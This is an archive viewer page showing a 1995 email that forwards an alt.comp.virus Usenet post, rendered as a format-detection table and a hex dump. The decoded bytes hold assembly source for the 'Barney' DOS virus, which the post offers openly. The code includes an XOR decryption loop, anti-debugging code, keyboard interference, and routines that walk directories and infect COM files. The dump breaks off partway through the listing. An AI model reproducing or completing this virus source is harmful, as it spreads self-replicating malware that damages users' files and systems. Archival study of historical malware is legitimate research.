home *** CD-ROM | disk | FTP | other *** search
open in:
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: BARNEY.ASM
Confidence | Program | Detection | Match Type | Support
|
---|
100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
100%
| dexvert
| Assembly Source File (text/asm)
| magic
| Supported |
1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
100%
| file
| Mailbox text, 1st line "From smtp Tue Feb 7 13:16 EST 1995", ASCII text
| default
| |
100%
| TrID
| E-Mail message (Var. 2)
| default
| |
100%
| checkBytes
| Printable ASCII
| default
| |
100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
100%
| siegfried
| x-fmt/111 Plain Text File
| default
| |
100%
| detectItEasy
| Format: plain text[LF]
| default (weak)
| |
100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 73 6d 74 | 70 20 54 75 65 20 46 65 |From smt|p Tue Fe|
|00000010| 62 20 20 37 20 31 33 3a | 31 36 20 45 53 54 20 31 |b 7 13:|16 EST 1|
|00000020| 39 39 35 0a 52 65 63 65 | 69 76 65 64 3a 20 66 72 |995.Rece|ived: fr|
|00000030| 6f 6d 20 6c 79 6e 78 2e | 64 61 63 2e 6e 65 75 2e |om lynx.|dac.neu.|
|00000040| 65 64 75 20 62 79 20 50 | 4f 42 4f 58 2e 6a 77 75 |edu by P|OBOX.jwu|
|00000050| 2e 65 64 75 3b 20 54 75 | 65 2c 20 20 37 20 46 65 |.edu; Tu|e, 7 Fe|
|00000060| 62 20 39 35 20 31 33 3a | 31 36 20 45 53 54 0a 52 |b 95 13:|16 EST.R|
|00000070| 65 63 65 69 76 65 64 3a | 20 62 79 20 6c 79 6e 78 |eceived:| by lynx|
|00000080| 2e 64 61 63 2e 6e 65 75 | 2e 65 64 75 20 28 38 2e |.dac.neu|.edu (8.|
|00000090| 36 2e 39 2f 38 2e 36 2e | 39 29 20 0a 20 20 20 20 |6.9/8.6.|9) . |
|000000a0| 20 69 64 20 4e 41 41 30 | 38 33 36 32 20 66 6f 72 | id NAA0|8362 for|
|000000b0| 20 6a 6f 73 68 75 61 77 | 40 70 6f 62 6f 78 2e 6a | joshuaw|@pobox.j|
|000000c0| 77 75 2e 65 64 75 3b 20 | 54 75 65 2c 20 37 20 46 |wu.edu; |Tue, 7 F|
|000000d0| 65 62 20 31 39 39 35 20 | 31 33 3a 31 39 3a 33 38 |eb 1995 |13:19:38|
|000000e0| 20 2d 30 35 30 30 0a 44 | 61 74 65 3a 20 54 75 65 | -0500.D|ate: Tue|
|000000f0| 2c 20 37 20 46 65 62 20 | 31 39 39 35 20 31 33 3a |, 7 Feb |1995 13:|
|00000100| 31 39 3a 33 38 20 2d 30 | 35 30 30 0a 46 72 6f 6d |19:38 -0|500.From|
|00000110| 3a 20 6c 79 6e 78 2e 64 | 61 63 2e 6e 65 75 2e 65 |: lynx.d|ac.neu.e|
|00000120| 64 75 21 65 6b 69 6c 62 | 79 20 28 45 72 69 63 20 |du!ekilb|y (Eric |
|00000130| 4b 69 6c 62 79 29 0a 43 | 6f 6e 74 65 6e 74 2d 4c |Kilby).C|ontent-L|
|00000140| 65 6e 67 74 68 3a 20 38 | 38 37 38 0a 43 6f 6e 74 |ength: 8|878.Cont|
|00000150| 65 6e 74 2d 54 79 70 65 | 3a 20 74 65 78 74 0a 4d |ent-Type|: text.M|
|00000160| 65 73 73 61 67 65 2d 49 | 64 3a 20 3c 31 39 39 35 |essage-I|d: <1995|
|00000170| 30 32 30 37 31 38 31 39 | 2e 4e 41 41 30 38 33 36 |02071819|.NAA0836|
|00000180| 32 40 6c 79 6e 78 2e 64 | 61 63 2e 6e 65 75 2e 65 |2@lynx.d|ac.neu.e|
|00000190| 64 75 3e 0a 54 6f 3a 20 | 70 6f 62 6f 78 2e 6a 77 |du>.To: |pobox.jw|
|000001a0| 75 2e 65 64 75 21 6a 6f | 73 68 75 61 77 20 0a 53 |u.edu!jo|shuaw .S|
|000001b0| 75 62 6a 65 63 74 3a 20 | 28 66 77 64 29 20 42 61 |ubject: |(fwd) Ba|
|000001c0| 72 6e 65 79 20 76 69 72 | 75 73 0a 4e 65 77 73 67 |rney vir|us.Newsg|
|000001d0| 72 6f 75 70 73 3a 20 61 | 6c 74 2e 63 6f 6d 70 2e |roups: a|lt.comp.|
|000001e0| 76 69 72 75 73 0a 53 74 | 61 74 75 73 3a 20 4f 0a |virus.St|atus: O.|
|000001f0| 0a 50 61 74 68 3a 20 63 | 68 61 6f 73 2e 64 61 63 |.Path: c|haos.dac|
|00000200| 2e 6e 65 75 2e 65 64 75 | 21 75 73 65 6e 65 74 2e |.neu.edu|!usenet.|
|00000210| 65 65 6c 2e 75 66 6c 2e | 65 64 75 21 75 73 65 6e |eel.ufl.|edu!usen|
|00000220| 65 74 2e 63 69 73 2e 75 | 66 6c 2e 65 64 75 21 63 |et.cis.u|fl.edu!c|
|00000230| 61 65 6e 21 6e 65 77 73 | 78 66 65 72 2e 69 74 64 |aen!news|xfer.itd|
|00000240| 2e 75 6d 69 63 68 2e 65 | 64 75 21 61 67 61 74 65 |.umich.e|du!agate|
|00000250| 21 68 6f 77 6c 61 6e 64 | 2e 72 65 73 74 6f 6e 2e |!howland|.reston.|
|00000260| 61 6e 73 2e 6e 65 74 21 | 6e 65 77 73 2e 73 70 72 |ans.net!|news.spr|
|00000270| 69 6e 74 6c 69 6e 6b 2e | 6e 65 74 21 75 75 6e 65 |intlink.|net!uune|
|00000280| 74 21 61 6e 6b 68 2e 69 | 69 61 2e 6f 72 67 21 64 |t!ankh.i|ia.org!d|
|00000290| 61 6e 69 73 68 6d 0a 46 | 72 6f 6d 3a 20 64 61 6e |anishm.F|rom: dan|
|000002a0| 69 73 68 6d 40 69 69 61 | 2e 6f 72 67 20 28 29 0a |ishm@iia|.org ().|
|000002b0| 4e 65 77 73 67 72 6f 75 | 70 73 3a 20 61 6c 74 2e |Newsgrou|ps: alt.|
|000002c0| 63 6f 6d 70 2e 76 69 72 | 75 73 0a 53 75 62 6a 65 |comp.vir|us.Subje|
|000002d0| 63 74 3a 20 42 61 72 6e | 65 79 20 76 69 72 75 73 |ct: Barn|ey virus|
|000002e0| 0a 44 61 74 65 3a 20 35 | 20 46 65 62 20 31 39 39 |.Date: 5| Feb 199|
|000002f0| 35 20 32 32 3a 30 36 3a | 34 37 20 47 4d 54 0a 4f |5 22:06:|47 GMT.O|
|00000300| 72 67 61 6e 69 7a 61 74 | 69 6f 6e 3a 20 49 6e 74 |rganizat|ion: Int|
|00000310| 65 72 6e 61 74 69 6f 6e | 61 6c 20 49 6e 74 65 72 |ernation|al Inter|
|00000320| 6e 65 74 20 41 73 73 6f | 63 69 61 74 69 6f 6e 2e |net Asso|ciation.|
|00000330| 0a 4c 69 6e 65 73 3a 20 | 32 39 31 0a 4d 65 73 73 |.Lines: |291.Mess|
|00000340| 61 67 65 2d 49 44 3a 20 | 3c 33 68 33 69 35 6e 24 |age-ID: |<3h3i5n$|
|00000350| 76 34 40 61 6e 6b 68 2e | 69 69 61 2e 6f 72 67 3e |v4@ankh.|iia.org>|
|00000360| 0a 4e 4e 54 50 2d 50 6f | 73 74 69 6e 67 2d 48 6f |.NNTP-Po|sting-Ho|
|00000370| 73 74 3a 20 69 69 61 2e | 6f 72 67 0a 58 2d 4e 65 |st: iia.|org.X-Ne|
|00000380| 77 73 72 65 61 64 65 72 | 3a 20 54 49 4e 20 5b 76 |wsreader|: TIN [v|
|00000390| 65 72 73 69 6f 6e 20 31 | 2e 32 20 50 4c 32 5d 0a |ersion 1|.2 PL2].|
|000003a0| 0a 48 65 72 65 20 69 73 | 20 74 68 65 20 42 61 72 |.Here is| the Bar|
|000003b0| 6e 65 79 20 76 69 72 75 | 73 3a 0a 0a 0a 3b 20 42 |ney viru|s:...; B|
|000003c0| 61 72 6e 65 79 20 76 69 | 72 75 73 0a 50 49 4e 47 |arney vi|rus.PING|
|000003d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 65 71 75 20 | | equ |
|000003e0| 20 20 20 20 30 46 39 32 | 46 68 0a 49 4e 46 45 43 | 0F92|Fh.INFEC|
|000003f0| 54 20 20 20 20 20 20 20 | 20 20 20 65 71 75 20 20 |T | equ |
|00000400| 20 20 20 31 0a 0a 63 6f | 64 65 20 20 20 20 20 20 | 1..co|de |
|00000410| 20 20 20 20 20 20 73 65 | 67 6d 65 6e 74 0a 20 20 | se|gment. |
|00000420| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6f 72 | | or|
|00000430| 67 20 20 20 20 20 31 30 | 30 68 0a 20 20 20 20 20 |g 10|0h. |
|00000440| 20 20 20 20 20 20 20 20 | 20 20 20 61 73 73 75 6d | | assum|
|00000450| 65 20 20 63 73 3a 63 6f | 64 65 2c 64 73 3a 63 6f |e cs:co|de,ds:co|
|00000460| 64 65 0a 0a 73 74 61 72 | 74 3a 0a 20 20 20 20 20 |de..star|t:. |
|00000470| 20 20 20 20 20 20 20 20 | 20 20 20 64 62 20 20 20 | | db |
|00000480| 20 20 20 30 45 39 68 2c | 33 2c 30 20 20 20 20 20 | 0E9h,|3,0 |
|00000490| 20 20 20 20 20 3b 20 74 | 6f 20 76 69 72 75 73 0a | ; t|o virus.|
|000004a0| 68 6f 73 74 3a 0a 20 20 | 20 20 20 20 20 20 20 20 |host:. | |
|000004b0| 20 20 20 20 20 20 64 62 | 20 20 20 20 20 20 30 43 | db| 0C|
|000004c0| 44 68 2c 32 30 68 2c 30 | 20 20 20 20 20 20 20 20 |Dh,20h,0| |
|000004d0| 3b 20 68 6f 73 74 20 70 | 72 6f 67 72 61 6d 0a 76 |; host p|rogram.v|
|000004e0| 69 72 75 73 5f 62 65 67 | 69 6e 3a 0a 0a 20 20 20 |irus_beg|in:.. |
|000004f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00000500| 20 20 20 20 20 64 78 2c | 56 49 52 55 53 5f 53 49 | dx,|VIRUS_SI|
|00000510| 5a 45 20 2f 20 32 20 2b | 20 31 0a 20 20 20 20 20 |ZE / 2 +| 1. |
|00000520| 20 20 20 20 20 20 20 20 | 20 20 20 64 62 20 20 20 | | db |
|00000530| 20 20 20 30 42 42 68 20 | 20 20 20 20 20 20 20 20 | 0BBh | |
|00000540| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 64 65 63 | | ; dec|
|00000550| 72 79 70 74 69 6f 6e 20 | 6d 6f 64 75 6c 65 0a 63 |ryption |module.c|
|00000560| 6f 64 65 5f 6f 66 66 73 | 65 74 20 20 20 20 20 64 |ode_offs|et d|
|00000570| 77 20 20 20 20 20 20 6f | 66 66 73 65 74 20 76 69 |w o|ffset vi|
|00000580| 72 75 73 5f 63 6f 64 65 | 0a 0a 64 65 63 72 79 70 |rus_code|..decryp|
|00000590| 74 3a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t:. | |
|000005a0| 20 20 20 64 62 20 20 20 | 20 20 20 30 32 45 68 2c | db | 02Eh,|
|000005b0| 30 38 31 68 2c 33 37 68 | 20 20 20 20 20 20 20 20 |081h,37h| |
|000005c0| 20 20 20 3b 20 58 4f 52 | 20 43 53 3a 5b 42 58 5d | ; XOR| CS:[BX]|
|000005d0| 0a 63 69 70 68 65 72 20 | 20 20 20 20 20 20 20 20 |.cipher | |
|000005e0| 20 64 77 20 20 20 20 20 | 20 30 0a 20 20 20 20 20 | dw | 0. |
|000005f0| 20 20 20 20 20 20 20 20 | 20 20 20 69 6e 63 20 20 | | inc |
|00000600| 20 20 20 62 78 0a 20 20 | 20 20 20 20 20 20 20 20 | bx. | |
|00000610| 20 20 20 20 20 20 69 6e | 63 20 20 20 20 20 62 78 | in|c bx|
|00000620| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000630| 20 64 65 63 20 20 20 20 | 20 64 78 0a 20 20 20 20 | dec | dx. |
|00000640| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 6e 7a 20 | | jnz |
|00000650| 20 20 20 20 64 65 63 72 | 79 70 74 0a 0a 0a 76 69 | decr|ypt...vi|
|00000660| 72 75 73 5f 63 6f 64 65 | 3a 0a 20 20 20 20 20 20 |rus_code|:. |
|00000670| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 | | call |
|00000680| 20 20 24 20 2b 20 33 20 | 20 20 20 20 20 20 20 20 | $ + 3 | |
|00000690| 20 20 20 20 3b 20 42 50 | 20 69 73 20 69 6e 73 74 | ; BP| is inst|
|000006a0| 72 75 63 74 69 6f 6e 20 | 70 74 72 2e 0a 20 20 20 |ruction |ptr.. |
|000006b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 | | pop|
|000006c0| 20 20 20 20 20 62 70 0a | 20 20 20 20 20 20 20 20 | bp.| |
|000006d0| 20 20 20 20 20 20 20 20 | 73 75 62 20 20 20 20 20 | |sub |
|000006e0| 62 70 2c 6f 66 66 73 65 | 74 20 24 20 2d 20 31 0a |bp,offse|t $ - 1.|
|000006f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000700| 20 70 75 73 68 20 20 20 | 20 64 73 20 65 73 0a 0a | push | ds es..|
|00000710| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000720| 63 6c 69 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |cli. | |
|00000730| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 50 | mov | ax,P|
|00000740| 49 4e 47 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |ING | ; |
|00000750| 6d 69 6c 64 20 61 6e 74 | 69 2d 74 72 61 63 65 20 |mild ant|i-trace |
|00000760| 63 6f 64 65 0a 20 20 20 | 20 20 20 20 20 20 20 20 |code. | |
|00000770| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 61 78 0a | pus|h ax.|
|00000780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000790| 70 6f 70 20 20 20 20 20 | 61 78 0a 20 20 20 20 20 |pop |ax. |
|000007a0| 20 20 20 20 20 20 20 20 | 20 20 20 64 65 63 20 20 | | dec |
|000007b0| 20 20 20 73 70 0a 20 20 | 20 20 20 20 20 20 20 20 | sp. | |
|000007c0| 20 20 20 20 20 20 64 65 | 63 20 20 20 20 20 73 70 | de|c sp|
|000007d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000007e0| 20 70 6f 70 20 20 20 20 | 20 62 78 0a 20 20 20 20 | pop | bx. |
|000007f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 | | cmp |
|00000800| 20 20 20 20 61 78 2c 62 | 78 0a 20 20 20 20 20 20 | ax,b|x. |
|00000810| 20 20 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 20 | | je |
|00000820| 20 20 6e 6f 5f 74 72 61 | 63 65 0a 20 20 20 20 20 | no_tra|ce. |
|00000830| 20 20 20 20 20 20 20 20 | 20 20 20 68 6c 74 0a 0a | | hlt..|
|00000840| 6e 6f 5f 74 72 61 63 65 | 3a 0a 20 20 20 20 20 20 |no_trace|:. |
|00000850| 20 20 20 20 20 20 20 20 | 20 20 73 74 69 0a 20 20 | | sti. |
|00000860| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e | | in|
|00000870| 20 20 20 20 20 20 61 6c | 2c 32 31 68 20 20 20 20 | al|,21h |
|00000880| 20 20 20 20 20 20 20 20 | 3b 20 6c 6f 63 6b 20 6f | |; lock o|
|00000890| 75 74 20 26 20 72 65 6f | 70 65 6e 20 6b 65 79 62 |ut & reo|pen keyb|
|000008a0| 6f 61 72 64 0a 20 20 20 | 20 20 20 20 20 20 20 20 |oard. | |
|000008b0| 20 20 20 20 20 78 6f 72 | 20 20 20 20 20 61 6c 2c | xor| al,|
|000008c0| 32 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2. | |
|000008d0| 20 20 6f 75 74 20 20 20 | 20 20 32 31 68 2c 61 6c | out | 21h,al|
|000008e0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000008f0| 20 78 6f 72 20 20 20 20 | 20 61 6c 2c 32 0a 20 20 | xor | al,2. |
|00000900| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6f 75 | | ou|
|00000910| 74 20 20 20 20 20 32 31 | 68 2c 61 6c 0a 0a 20 20 |t 21|h,al.. |
|00000920| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6c 65 | | le|
|00000930| 61 20 20 20 20 20 64 78 | 2c 5b 62 70 20 2b 20 6f |a dx|,[bp + o|
|00000940| 66 66 73 65 74 20 6e 65 | 77 5f 44 54 41 5d 0a 20 |ffset ne|w_DTA]. |
|00000950| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00000960| 6f 76 20 20 20 20 20 61 | 68 2c 31 41 68 0a 20 20 |ov a|h,1Ah. |
|00000970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e | | in|
|00000980| 74 20 20 20 20 20 32 31 | 68 0a 0a 20 20 20 20 20 |t 21|h.. |
|00000990| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|000009a0| 20 20 20 62 79 74 65 20 | 70 74 72 20 5b 62 70 20 | byte |ptr [bp |
|000009b0| 2b 20 69 6e 66 65 63 74 | 69 6f 6e 73 5d 2c 30 0a |+ infect|ions],0.|
|000009c0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000009d0| 20 63 61 6c 6c 20 20 20 | 20 74 72 61 76 65 72 73 | call | travers|
|000009e0| 65 0a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e.. | |
|000009f0| 20 20 20 70 6f 70 20 20 | 20 20 20 65 73 20 64 73 | pop | es ds|
|00000a00| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000a10| 20 6d 6f 76 20 20 20 20 | 20 64 78 2c 38 30 68 0a | mov | dx,80h.|
|00000a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000a30| 6d 6f 76 20 20 20 20 20 | 61 68 2c 31 41 68 0a 20 |mov |ah,1Ah. |
|00000a40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 | | i|
|00000a50| 6e 74 20 20 20 20 20 32 | 31 68 0a 0a 63 6f 6d 5f |nt 2|1h..com_|
|00000a60| 65 78 69 74 3a 0a 20 20 | 20 20 20 20 20 20 20 20 |exit:. | |
|00000a70| 20 20 20 20 20 20 6c 65 | 61 20 20 20 20 20 73 69 | le|a si|
|00000a80| 2c 5b 62 70 20 2b 20 68 | 6f 73 74 5d 20 20 20 20 |,[bp + h|ost] |
|00000a90| 20 20 20 20 20 20 3b 20 | 72 65 73 74 6f 72 65 20 | ; |restore |
|00000aa0| 68 6f 73 74 20 70 72 6f | 67 72 61 6d 0a 20 20 20 |host pro|gram. |
|00000ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00000ac0| 20 20 20 20 20 64 69 2c | 31 30 30 68 0a 20 20 20 | di,|100h. |
|00000ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 75 73 | | pus|
|00000ae0| 68 20 20 20 20 64 69 0a | 20 20 20 20 20 20 20 20 |h di.| |
|00000af0| 20 20 20 20 20 20 20 20 | 6d 6f 76 73 77 0a 20 20 | |movsw. |
|00000b00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00000b10| 76 73 62 0a 0a 20 20 20 | 20 20 20 20 20 20 20 20 |vsb.. | |
|00000b20| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 66 69 78 | cal|l fix|
|00000b30| 5f 72 65 67 73 20 20 20 | 20 20 20 20 20 20 20 20 |_regs | |
|00000b40| 20 20 20 20 20 3b 20 66 | 69 78 20 75 70 20 72 65 | ; f|ix up re|
|00000b50| 67 69 73 74 65 72 73 0a | 20 20 20 20 20 20 20 20 |gisters.| |
|00000b60| 20 20 20 20 20 20 20 20 | 72 65 74 20 20 20 20 20 | |ret |
|00000b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b80| 20 20 20 20 20 20 20 20 | 3b 20 61 6e 64 20 6c 65 | |; and le|
|00000b90| 61 76 65 0a 0a 66 69 78 | 5f 72 65 67 73 3a 0a 20 |ave..fix|_regs:. |
|00000ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 78 | | x|
|00000bb0| 6f 72 20 20 20 20 20 61 | 78 2c 61 78 0a 20 20 20 |or a|x,ax. |
|00000bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 77 64 | | cwd|
|00000bd0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000be0| 20 78 6f 72 20 20 20 20 | 20 62 78 2c 62 78 0a 20 | xor | bx,bx. |
|00000bf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00000c00| 6f 76 20 20 20 20 20 73 | 69 2c 31 30 30 68 0a 20 |ov s|i,100h. |
|00000c10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 78 | | x|
|00000c20| 6f 72 20 20 20 20 20 64 | 69 2c 64 69 0a 20 20 20 |or d|i,di. |
|00000c30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 78 6f 72 | | xor|
|00000c40| 20 20 20 20 20 62 70 2c | 62 70 0a 20 20 20 20 20 | bp,|bp. |
|00000c50| 20 20 20 20 20 20 20 20 | 20 20 20 72 65 74 0a 0a | | ret..|
|00000c60| 0a 74 72 61 76 65 72 73 | 65 3a 0a 20 20 20 20 20 |.travers|e:. |
|00000c70| 20 20 20 20 20 20 20 20 | 20 20 20 73 75 62 20 20 | | sub |
|00000c80| 20 20 20 73 70 2c 36 34 | 20 20 20 20 20 20 20 20 | sp,64| |
|00000c90| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 61 6c 6c | | ; all|
|00000ca0| 6f 63 61 74 65 20 73 74 | 61 63 6b 20 73 70 61 63 |ocate st|ack spac|
|00000cb0| 65 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e. | |
|00000cc0| 20 20 6d 6f 76 20 20 20 | 20 20 73 69 2c 73 70 0a | mov | si,sp.|
|00000cd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ce0| 69 6e 63 20 20 20 20 20 | 73 69 0a 20 20 20 20 20 |inc |si. |
|00000cf0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00000d00| 20 20 20 61 68 2c 34 37 | 68 20 20 20 20 20 20 20 | ah,47|h |
|00000d10| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 67 65 74 | | ; get|
|00000d20| 20 63 75 72 72 65 6e 74 | 20 64 69 72 65 63 74 6f | current| directo|
|00000d30| 72 79 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ry. | |
|00000d40| 20 20 20 78 6f 72 20 20 | 20 20 20 64 6c 2c 64 6c | xor | dl,dl|
|00000d50| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000d60| 20 69 6e 74 20 20 20 20 | 20 32 31 68 0a 0a 20 20 | int | 21h.. |
|00000d70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 64 65 | | de|
|00000d80| 63 20 20 20 20 20 73 69 | 0a 20 20 20 20 20 20 20 |c si|. |
|00000d90| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00000da0| 20 62 79 74 65 20 70 74 | 72 20 73 73 3a 5b 73 69 | byte pt|r ss:[si|
|00000db0| 5d 2c 27 5c 27 20 3b 20 | 66 69 78 20 64 69 72 65 |],'\' ; |fix dire|
|00000dc0| 63 74 6f 72 79 0a 0a 6e | 65 78 74 5f 64 69 72 3a |ctory..n|ext_dir:|
|00000dd0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000de0| 20 63 61 6c 6c 20 20 20 | 20 69 6e 66 65 63 74 5f | call | infect_|
|00000df0| 64 69 72 0a 0a 20 20 20 | 20 20 20 20 20 20 20 20 |dir.. | |
|00000e00| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 62 79 74 | cmp| byt|
|00000e10| 65 20 70 74 72 20 5b 62 | 70 20 2b 20 69 6e 66 65 |e ptr [b|p + infe|
|00000e20| 63 74 69 6f 6e 73 5d 2c | 49 4e 46 45 43 54 0a 20 |ctions],|INFECT. |
|00000e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a | | j|
|00000e40| 65 20 20 20 20 20 20 74 | 72 61 76 65 72 73 65 5f |e t|raverse_|
|00000e50| 64 6f 6e 65 0a 0a 20 20 | 20 20 20 20 20 20 20 20 |done.. | |
|00000e60| 20 20 20 20 20 20 6c 65 | 61 20 20 20 20 20 64 78 | le|a dx|
|00000e70| 2c 5b 62 70 20 2b 20 6f | 75 74 65 72 5d 20 20 20 |,[bp + o|uter] |
|00000e80| 20 20 20 20 20 20 3b 20 | 72 65 70 65 61 74 20 69 | ; |repeat i|
|00000e90| 6e 20 6e 65 78 74 20 64 | 69 72 20 75 70 0a 20 20 |n next d|ir up. |
|00000ea0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00000eb0| 76 20 20 20 20 20 61 68 | 2c 33 42 68 0a 20 20 20 |v ah|,3Bh. |
|00000ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 | | int|
|00000ed0| 20 20 20 20 20 32 31 68 | 0a 20 20 20 20 20 20 20 | 21h|. |
|00000ee0| 20 20 20 20 20 20 20 20 | 20 6a 6e 63 20 20 20 20 | | jnc |
|00000ef0| 20 6e 65 78 74 5f 64 69 | 72 0a 0a 74 72 61 76 65 | next_di|r..trave|
|00000f00| 72 73 65 5f 64 6f 6e 65 | 3a 0a 20 20 20 20 20 20 |rse_done|:. |
|00000f10| 20 20 20 20 20 20 20 20 | 20 20 61 64 64 20 20 20 | | add |
|00000f20| 20 20 73 70 2c 36 34 20 | 20 20 20 20 20 20 20 20 | sp,64 | |
|00000f30| 20 20 20 20 20 20 20 20 | 20 20 3b 20 72 65 73 65 | | ; rese|
|00000f40| 74 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t. | |
|00000f50| 20 20 6d 6f 76 20 20 20 | 20 20 64 78 2c 73 69 0a | mov | dx,si.|
|00000f60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000f70| 6d 6f 76 20 20 20 20 20 | 61 68 2c 33 42 68 0a 20 |mov |ah,3Bh. |
|00000f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 | | i|
|00000f90| 6e 74 20 20 20 20 20 32 | 31 68 0a 20 20 20 20 20 |nt 2|1h. |
|00000fa0| 20 20 20 20 20 20 20 20 | 20 20 20 72 65 74 0a 0a | | ret..|
|00000fb0| 69 6e 66 65 63 74 5f 64 | 69 72 3a 0a 20 20 20 20 |infect_d|ir:. |
|00000fc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00000fd0| 20 20 20 20 61 68 2c 34 | 45 68 0a 20 20 20 20 20 | ah,4|Eh. |
|00000fe0| 20 20 20 20 20 20 20 20 | 20 20 20 6c 65 61 20 20 | | lea |
|00000ff0| 20 20 20 64 78 2c 5b 62 | 70 20 2b 20 66 69 6e 64 | dx,[b|p + find|
|00001000| 5f 6d 65 5d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |_me]. | |
|00001010| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 68 | int| 21h|
|00001020| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001030| 20 6a 63 20 20 20 20 20 | 20 69 6e 66 65 63 74 5f | jc | infect_|
|00001040| 64 6f 6e 65 0a 0a 6e 65 | 78 74 5f 66 69 6c 65 3a |done..ne|xt_file:|
|00001050| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001060| 20 6c 65 61 20 20 20 20 | 20 64 78 2c 5b 62 70 20 | lea | dx,[bp |
|00001070| 2b 20 6e 65 77 5f 44 54 | 41 20 2b 20 31 45 68 5d |+ new_DT|A + 1Eh]|
|00001080| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001090| 20 63 61 6c 6c 20 20 20 | 20 65 78 65 63 75 74 65 | call | execute|
|000010a0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000010b0| 20 63 6d 70 20 20 20 20 | 20 62 79 74 65 20 70 74 | cmp | byte pt|
|000010c0| 72 20 5b 62 70 20 2b 20 | 69 6e 66 65 63 74 69 6f |r [bp + |infectio|
|000010d0| 6e 73 5d 2c 49 4e 46 45 | 43 54 0a 20 20 20 20 20 |ns],INFE|CT. |
|000010e0| 20 20 20 20 20 20 20 20 | 20 20 20 6a 65 20 20 20 | | je |
|000010f0| 20 20 20 69 6e 66 65 63 | 74 5f 64 6f 6e 65 0a 20 | infec|t_done. |
|00001100| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
